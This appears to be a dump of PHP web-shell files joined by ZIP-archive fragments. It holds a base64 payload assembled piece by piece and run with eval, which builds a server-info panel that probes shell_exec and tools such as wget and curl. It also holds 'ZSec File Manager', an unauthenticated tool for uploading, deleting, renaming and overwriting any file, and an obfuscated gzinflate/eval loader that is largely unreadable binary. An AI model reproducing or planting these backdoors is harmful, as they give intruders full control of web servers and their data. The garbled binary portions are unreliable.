$z .= "ICAg";
$z .= "ICAg";
$z .= "IDxo";
$z .= "Mj5T";
$z .= "eXN0";
$z .= "ZW0g";
$z .= "SW5m";
$z .= "bzwv";
$z .= "aDI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "dWwg";
$z .= "Y2xh";
$z .= "c3M9";
$z .= "Imlu";
$z .= "Zm8t";
$z .= "bGlz";
$z .= "dCI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PD9w";
$z .= "aHAN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZmVh";
$z .= "dHVy";
$z .= "ZXMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdT";
$z .= "YWZl";
$z .= "IE1v";
$z .= "ZGUn";
$z .= "ID0+";
$z .= "IEBp";
$z .= "bmlf";
$z .= "Z2V0";
$z .= "KCdz";
$z .= "YWZl";
$z .= "X21v";
$z .= "ZGUn";
$z .= "KSA/";
$z .= "ICdF";
$z .= "bmFi";
$z .= "bGVk";
$z .= "JyA6";
$z .= "ICdE";
$z .= "aXNh";
$z .= "Ymxl";
$z .= "ZCcs";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdE";
$z .= "aXNh";
$z .= "Ymxl";
$z .= "IEZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "cycg";
$z .= "PT4g";
$z .= "QGlu";
$z .= "aV9n";
$z .= "ZXQo";
$z .= "J2Rp";
$z .= "c2Fi";
$z .= "bGVf";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25z";
$z .= "Jyks";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdH";
$z .= "Q0Mn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdn";
$z .= "Y2Mg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdQ";
$z .= "ZXJs";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "cGVy";
$z .= "bCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J1B5";
$z .= "dGhv";
$z .= "biBW";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "JyA9";
$z .= "PiAo";
$z .= "JHB5";
$z .= "dGhv";
$z .= "blZl";
$z .= "cnNp";
$z .= "b24g";
$z .= "PSBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "cHl0";
$z .= "aG9u";
$z .= "IC0t";
$z .= "dmVy";
$z .= "c2lv";
$z .= "bicp";
$z .= "KSA/";
$z .= "ICdP";
$z .= "biAo";
$z .= "JyAu";
$z .= "ICRw";
$z .= "eXRo";
$z .= "b25W";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "IC4g";
$z .= "Jykn";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdQ";
$z .= "S0VY";
$z .= "RUMg";
$z .= "VmVy";
$z .= "c2lv";
$z .= "bicg";
$z .= "PT4g";
$z .= "KCRw";
$z .= "a2V4";
$z .= "ZWNW";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "ID0g";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "J3Br";
$z .= "ZXhl";
$z .= "YyAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSkg";
$z .= "PyAn";
$z .= "T24g";
$z .= "KCcg";
$z .= "LiAk";
$z .= "cGtl";
$z .= "eGVj";
$z .= "VmVy";
$z .= "c2lv";
$z .= "biAu";
$z .= "ICcp";
$z .= "JyA6";
$z .= "ICdP";
$z .= "ZmYn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "Q3Vy";
$z .= "bCcg";
$z .= "PT4g";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b25f";
$z .= "ZXhp";
$z .= "c3Rz";
$z .= "KCdz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "Jykg";
$z .= "JiYg";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "J2N1";
$z .= "cmwg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdX";
$z .= "Z2V0";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "d2dl";
$z .= "dCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J015";
$z .= "c3Fs";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "bXlz";
$z .= "cWwg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdG";
$z .= "dHAn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdm";
$z .= "dHAg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdT";
$z .= "c2gn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdz";
$z .= "c2gg";
$z .= "LS12";
$z .= "ZXJz";
$z .= "aW9u";
$z .= "Jykg";
$z .= "PyAn";
$z .= "T24n";
$z .= "IDog";
$z .= "J09m";
$z .= "Zics";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICdN";
$z .= "YWls";
$z .= "JyA9";
$z .= "PiBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "bl9l";
$z .= "eGlz";
$z .= "dHMo";
$z .= "J3No";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMn";
$z .= "KSAm";
$z .= "JiBA";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yygn";
$z .= "bWFp";
$z .= "bCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "J2Ny";
$z .= "b24n";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdj";
$z .= "cm9u";
$z .= "IC0t";
$z .= "dmVy";
$z .= "c2lv";
$z .= "bicp";
$z .= "ID8g";
$z .= "J09u";
$z .= "JyA6";
$z .= "ICdP";
$z .= "ZmYn";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "U2Vu";
$z .= "ZE1h";
$z .= "aWwn";
$z .= "ID0+";
$z .= "IGZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "X2V4";
$z .= "aXN0";
$z .= "cygn";
$z .= "c2hl";
$z .= "bGxf";
$z .= "ZXhl";
$z .= "Yycp";
$z .= "ICYm";
$z .= "IEBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "KCdz";
$z .= "ZW5k";
$z .= "bWFp";
$z .= "bCAt";
$z .= "LXZl";
$z .= "cnNp";
$z .= "b24n";
$z .= "KSA/";
$z .= "ICdP";
$z .= "bicg";
$z .= "OiAn";
$z .= "T2Zm";
$z .= "JywN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ID8+";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "bGFi";
$z .= "ZWwg";
$z .= "Zm9y";
$z .= "PSJm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "LXNl";
$z .= "bGVj";
$z .= "dCI+";
$z .= "U2Vs";
$z .= "ZWN0";
$z .= "IEZl";
$z .= "YXR1";
$z .= "cmU6";
$z .= "PC9s";
$z .= "YWJl";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "c2Vs";
$z .= "ZWN0";
$z .= "IGlk";
$z .= "PSJm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "LXNl";
$z .= "bGVj";
$z .= "dCI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDw/";
$z .= "cGhw";
$z .= "IGZv";
$z .= "cmVh";
$z .= "Y2gg";
$z .= "KCRm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "cyBh";
$z .= "cyAk";
$z .= "ZmVh";
$z .= "dHVy";
$z .= "ZSA9";
$z .= "PiAk";
$z .= "c3Rh";
$z .= "dHVz";
$z .= "KSA6";
$z .= "ID8+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "b3B0";
$z .= "aW9u";
$z .= "IHZh";
$z .= "bHVl";
$z .= "PSI8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "Y2hv";
$z .= "ICRm";
$z .= "ZWF0";
$z .= "dXJl";
$z .= "OyA/";
$z .= "PiI+";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byAk";
$z .= "ZmVh";
$z .= "dHVy";
$z .= "ZSAu";
$z .= "ICc6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "c3Rh";
$z .= "dHVz";
$z .= "OyA/";
$z .= "Pjwv";
$z .= "b3B0";
$z .= "aW9u";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "bmRm";
$z .= "b3Jl";
$z .= "YWNo";
$z .= "OyA/";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDwv";
$z .= "c2Vs";
$z .= "ZWN0";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC91";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGRp";
$z .= "diBj";
$z .= "bGFz";
$z .= "cz0i";
$z .= "aW5m";
$z .= "by1j";
$z .= "b250";
$z .= "YWlu";
$z .= "ZXIi";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGgy";
$z .= "PlVz";
$z .= "ZXIg";
$z .= "SW5m";
$z .= "bzwv";
$z .= "aDI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "dWwg";
$z .= "Y2xh";
$z .= "c3M9";
$z .= "Imlu";
$z .= "Zm8t";
$z .= "bGlz";
$z .= "dCI+";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PGxp";
$z .= "PlVz";
$z .= "ZXJu";
$z .= "YW1l";
$z .= "OiA8";
$z .= "P3Bo";
$z .= "cCBl";
$z .= "Y2hv";
$z .= "IEBn";
$z .= "ZXRf";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dF91";
$z .= "c2Vy";
$z .= "KCk7";
$z .= "ID8+";
$z .= "PC9s";
$z .= "aT4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICA8";
$z .= "bGk+";
$z .= "VXNl";
$z .= "ciBJ";
$z .= "RDog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBA";
$z .= "Z2V0";
$z .= "bXl1";
$z .= "aWQo";
$z .= "KTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDxs";
$z .= "aT5H";
$z .= "cm91";
$z .= "cCBJ";
$z .= "RDog";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBA";
$z .= "Z2V0";
$z .= "bXln";
$z .= "aWQo";
$z .= "KTsg";
$z .= "Pz48";
$z .= "L2xp";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC91";
$z .= "bD4N";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQog";
$z .= "ICAg";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQo8";
$z .= "L2Rp";
$z .= "dj4N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "c2Ny";
$z .= "aXB0";
$z .= "Pg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biB0";
$z .= "b2dn";
$z .= "bGVP";
$z .= "cHRp";
$z .= "b25z";
$z .= "TWVu";
$z .= "dSgp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHZh";
$z .= "ciBv";
$z .= "cHRp";
$z .= "b25z";
$z .= "TWVu";
$z .= "dSA9";
$z .= "IGRv";
$z .= "Y3Vt";
$z .= "ZW50";
$z .= "Lmdl";
$z .= "dEVs";
$z .= "ZW1l";
$z .= "bnRC";
$z .= "eUlk";
$z .= "KCdv";
$z .= "cHRp";
$z .= "b25z";
$z .= "TWVu";
$z .= "dScp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "b3B0";
$z .= "aW9u";
$z .= "c01l";
$z .= "bnUu";
$z .= "Y2xh";
$z .= "c3NM";
$z .= "aXN0";
$z .= "LnRv";
$z .= "Z2ds";
$z .= "ZSgn";
$z .= "c2hv";
$z .= "dycp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biB0";
$z .= "b2dn";
$z .= "bGVT";
$z .= "aWRl";
$z .= "YmFy";
$z .= "KCkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "dmFy";
$z .= "IHNp";
$z .= "ZGVi";
$z .= "YXIg";
$z .= "PSBk";
$z .= "b2N1";
$z .= "bWVu";
$z .= "dC5n";
$z .= "ZXRF";
$z .= "bGVt";
$z .= "ZW50";
$z .= "QnlJ";
$z .= "ZCgn";
$z .= "c2lk";
$z .= "ZWJh";
$z .= "cicp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "c2lk";
$z .= "ZWJh";
$z .= "ci5j";
$z .= "bGFz";
$z .= "c0xp";
$z .= "c3Qu";
$z .= "dG9n";
$z .= "Z2xl";
$z .= "KCdv";
$z .= "cGVu";
$z .= "Jyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "L3Nj";
$z .= "cmlw";
$z .= "dD4N";
$z .= "Cjwv";
$z .= "ZGl2";
$z .= "Pg0K";
$z .= "PGRp";
$z .= "diBj";
$z .= "bGFz";
$z .= "cz0i";
$z .= "Zm9v";
$z .= "dGVy";
$z .= "Ij4N";
$z .= "CiAg";
$z .= "ICA8";
$z .= "cD4m";
$z .= "Y29w";
$z .= "eTsg";
$z .= "PD9w";
$z .= "aHAg";
$z .= "ZWNo";
$z .= "byBk";
$z .= "YXRl";
$z .= "KCJZ";
$z .= "Iik7";
$z .= "ID8+";
$z .= "IDxh";
$z .= "IGhy";
$z .= "ZWY9";
$z .= "Imh0";
$z .= "dHBz";
$z .= "Oi8v";
$z .= "d3d3";
$z .= "LmJs";
$z .= "b2ct";
$z .= "Z2Fu";
$z .= "Lm9y";
$z .= "Zy8i";
$z .= "PkNv";
$z .= "ZGVk";
$z .= "IEJ5";
$z .= "PC9h";
$z .= "PiBB";
$z .= "dmFh";
$z .= "IENv";
$z .= "ZGUu";
$z .= "PC9w";
$z .= "Pg0K";
$z .= "PC9k";
$z .= "aXY+";
$z .= "DQo8";
$z .= "L2Jv";
$z .= "ZHk+";
$z .= "DQo8";
$z .= "L2h0";
$z .= "bWw+";
$a = "base"; $b = "64_decode"; $c = $a.$b; $string = $c($z); eval($string);
?>
PK �9m\~\ݸ5
5
z8op2.phpnu �[��� <?php
session_start();
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath('.');
if ($dir === false || !is_dir($dir)) {
die("Direktori tidak ditemukan!");
}
if (isset($_POST['upload'])) {
move_uploaded_file($_FILES['file']['tmp_name'], "$dir/" . $_FILES['file']['name']);
}
if (isset($_POST['delete'])) {
unlink($_POST['delete']);
}
if (isset($_POST['rename'])) {
rename($_POST['oldname'], $_POST['newname']);
}
if (isset($_POST['save'])) {
file_put_contents($_POST['filepath'], $_POST['content']);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Mini File Manager</title>
<style>
body { font-family: Arial, sans-serif; background: #222; color: #ddd; text-align: center; }
a { color: #0af; text-decoration: none; }
.container { width: 80%; margin: auto; text-align: left; }
.box { background: #333; padding: 10px; margin: 5px; border-radius: 5px; }
input, button { background: #444; color: white; border: none; padding: 5px; margin: 2px; }
.directory { font-weight: bold; }
</style>
</head>
<body>
<div class='container'>
<h2>ZSec File Manager</h2>
<form method='post' enctype='multipart/form-data'>
<input type='file' name='file'>
<button type='submit' name='upload'>Upload</button>
</form>
<div class='box'>
<p class='directory'>Current Directory: <?php echo $dir; ?></p>
<?php if (dirname($dir) !== $dir) : ?>
<a href='?dir=<?php echo dirname($dir); ?>'>[Up]</a>
<?php endif; ?>
<?php
foreach (scandir($dir) as $file) {
if ($file == '.') continue;
$filePath = "$dir/$file";
if ($file == '..' && $dir === '/') continue;
echo "<div>$file ";
if (is_dir($filePath)) {
echo "<a href='?dir=$filePath'>[Open]</a> ";
} elseif (is_file($filePath)) {
echo "<a href='?edit=$filePath'>[Edit]</a> ";
}
echo "<form method='post' style='display:inline;'>
<input type='hidden' name='delete' value='$filePath'>
<button type='submit'>Hapus</button>
</form>
<form method='post' style='display:inline;'>
<input type='hidden' name='oldname' value='$filePath'>
<input type='text' name='newname' placeholder='Nama baru'>
<button type='submit' name='rename'>Rename</button>
</form>
</div>";
}
?>
</div>
</div>
<?php if (isset($_GET['edit'])): ?>
<?php $file = $_GET['edit']; ?>
<div class='container'>
<h3>Edit File</h3>
<form method='post'>
<input type='hidden' name='filepath' value='<?php echo $file; ?>'>
<textarea name='content' rows='10' style='width:100%; background:#333; color:#ddd;'><?php echo htmlspecialchars(file_get_contents($file)); ?></textarea>
<button type='submit' name='save'>Simpan</button>
</form>
</div>
<?php endif; ?>
</body>
</html>PK �9m\ako�g~ g~ wufim.phpnu �[��� <?php
/**
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⡿⢿⡿⠿⠿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⡿⣿⣿
⣿⣿⣿⣿⠿⠿⢿⣿⣿⠟⣋⣭⣶⣶⣞⣿⣶⣶⣶⣬⣉⠻⣿⣿⡿⣋⣉⠻⣿⣿⣿
⣿⢻⣿⠃⣤⣤⣢⣍⣴⣿⢋⣵⣿⣿⣿⣿⣷⣶⣝⣿⣿⣧⣄⢉⣜⣥⣜⢷⢹⢇⢛
⡏⡦⡁⡸⢛⡴⢣⣾⢟⣿⣿⣿⢟⣾⣧⣙⢿⣿⣿⣿⣿⣿⣿⣿⢩⢳⣞⢿⡏⢷⣾
⣷⣵⡇⣗⡾⢁⣾⣟⣾⣿⡿⣻⣾⣿⣿⣿⡎⠛⡛⢿⣿⡟⣿⣿⡜⡜⢿⡌⠇⢾⣿
⣿⣿⠁⣾⠏⣾⣿⣿⣽⣑⣺⣥⣿⣿⣿⣿⣷⣶⣦⣖⢝⢿⣿⣿⣿⡀⠹⣿⣼⢸⣿
⣿⣿⢰⡏⢡⣿⣿⠐⣵⠿⠛⠛⣿⣿⣿⣿⣿⠍⠚⢙⠻⢦⣼⣿⣿⠁⣄⣿⣿⠘⣿
⣿⣿⢸⢹⢈⣿⣿⠘⣡⡞⠉⡀⢻⣿⣿⣿⣿⢃⠠⢈⢳⣌⣩⣿⣿⠰⠿⢼⣿⠀⣿
⣿⠿⣘⠯⠌⡟⣿⡟⣾⣇⢾⡵⣹⣟⣿⣿⣿⣮⣓⣫⣿⣟⢿⣿⢿⡾⡹⢆⣦⣤⢹
⣅⣛⠶⠽⣧⣋⠳⡓⢿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣫⣸⠏⡋⠷⣛⣫⡍⣶⣿
⣿⡿⢸⢳⣶⣶⠀⡇⣬⡛⠿⣿⣿⣿⣿⣿⣿⣿⠿⢟⣉⣕⡭⠀⢺⣸⣽⢻⡅⣿⣿
⣿⡇⣾⡾⣰⡯⠀⡗⣯⣿⣽⡶⠶⠂⢠⣾⣿⠐⠚⠻⢯⣿⠇⠎⡀⣳⣿⣼⡃⣿⣿
⣿⡇⣟⣇⡟⣧⠀⡗⣿⣿⡿⢡⢖⣀⠼⢟⣻⣤⣔⢦⢸⣿⢀⢆⢡⣿⣯⢹⡃⣿⣿
⣿⡇⡏⣿⡾⣸⣿⣇⠸⠟⣋⣼⣼⣿⢻⣿⣿⢿⣟⢾⣌⠫⠈⣶⣿⡿⣩⡿⢃⣿⣿
⣿⣷⡀⠻⡷⢪⢧⡙⠰⣾⣿⣿⣾⡽⣾⣿⡿⣺⣵⣾⣿⡇⡜⣽⠟⢷⣪⣴⣿⣿⣿
⣿⣿⣿⣾⣿⠏⣤⡁⣷⣽⣿⣿⣿⣿⣷⣶⣿⣿⣿⣿⣿⣱⠸⣱⣦⠙⣿⣿⣿⣾⣿
**/
$sokaki = "\xb9\132\232\x66\155\250\145\156\x72\x6c\x5f\x87\245\xf2\6\310\134\x86\x9b\x2\x77\321\x12\xb5\x9f\xfc\24";
if (function_exists("user_super")) {
pcntl_signal(senia, berika);
pcntl_signal(larva, berika);
pcntl_signal(mojika, berika);
pcntl_signal(matisu, berika);
}
eval(("\147\172\151\x6e\146\154\x61\164\145")("���OSQ���{77�\$}<p� ��w& �VHHIZp�!AJ)�-,PZmi��Ly(C D-��R�2|�`twn�����s� �Žv��&�&�P��U�f��9�ͪ]uAk���H�sK<��Ζ���]�v��m�:<+w�(i�A����*�{)����8sĮ���8(P�3�zrT@�,8��*�I��@��R�5{B� �uH��s�κ�~bg�J[c��q}����%�xz����
>���ij|����Al����c�R�B�K�m \"e �M{B�乷-}���!��bqj�|liq��
4�&&��p��y/J���ų۶|[�eG{�kk�G2J�6��O�����2�b��j�m�7��c��NM�6Yc�P_���ɼ�P�am���hA��u��<����&�T�~,m��]v�G��TeM6�Ԕ����6�7糧y�k�{�h�8�n0���kU��z���T5�9��6GU8�:�hr:����i��|X�����c�.]��)�s�eeRWԯ��ߛ�쒂���P�?k��wqX�Ӗ�}�d�t[ぃ��y:�&Vu��aI��j��rB�AJ�� I��}��A�D!;E��
�C���ǂ.A4�I�0�� �q8:h�å(���X!%ƅ��B�Ń%i3:���je=�X�^Y�B�'�ř�e�i��/@н�x��t�uh��� �t���2��wED�1�DAg��H\\8���IwI�!�(,�(�OL��Q 1 �k�§C>�?�� t� �p?�p���c4��,�Qu�@�wI�������v����քK�lM!/5M(@/ғ��T\\�Gv�;�"))xor${"a�����������٩�ߋ������������߽�������������
����τ��챉�۞������ϕ
���掦����������ɰ���������
������֠����ה������ʰ��
����俌ľ��Ť������ͦ�����¹�˜����������Ю�����ߍ��Ĺ�ΊΑ������Ø�ݶ�����������Ȫ�������Ɍ�����н����ؽ����ރ
���ې����ϸ����䃚�������������� ���ê��������������������������
����ݶ������������
��������������Ʊ�����������
�������و�����ޕ������� �����
�㘀�ˠͣ喉������������������������������� ��쨐�م˄��������������Թ���������뗝������
Ϭ���������Ä͙
�� �������С��܌�� կ�����������ӯ��
��������Ǖ����������������������������߷���íݿ���������ԛ���������ú �����Ȱ���ܮ���������좒�ٙ�����ք
�����ⓏŐ����Ҩ��������ޭ������
櫿�������������
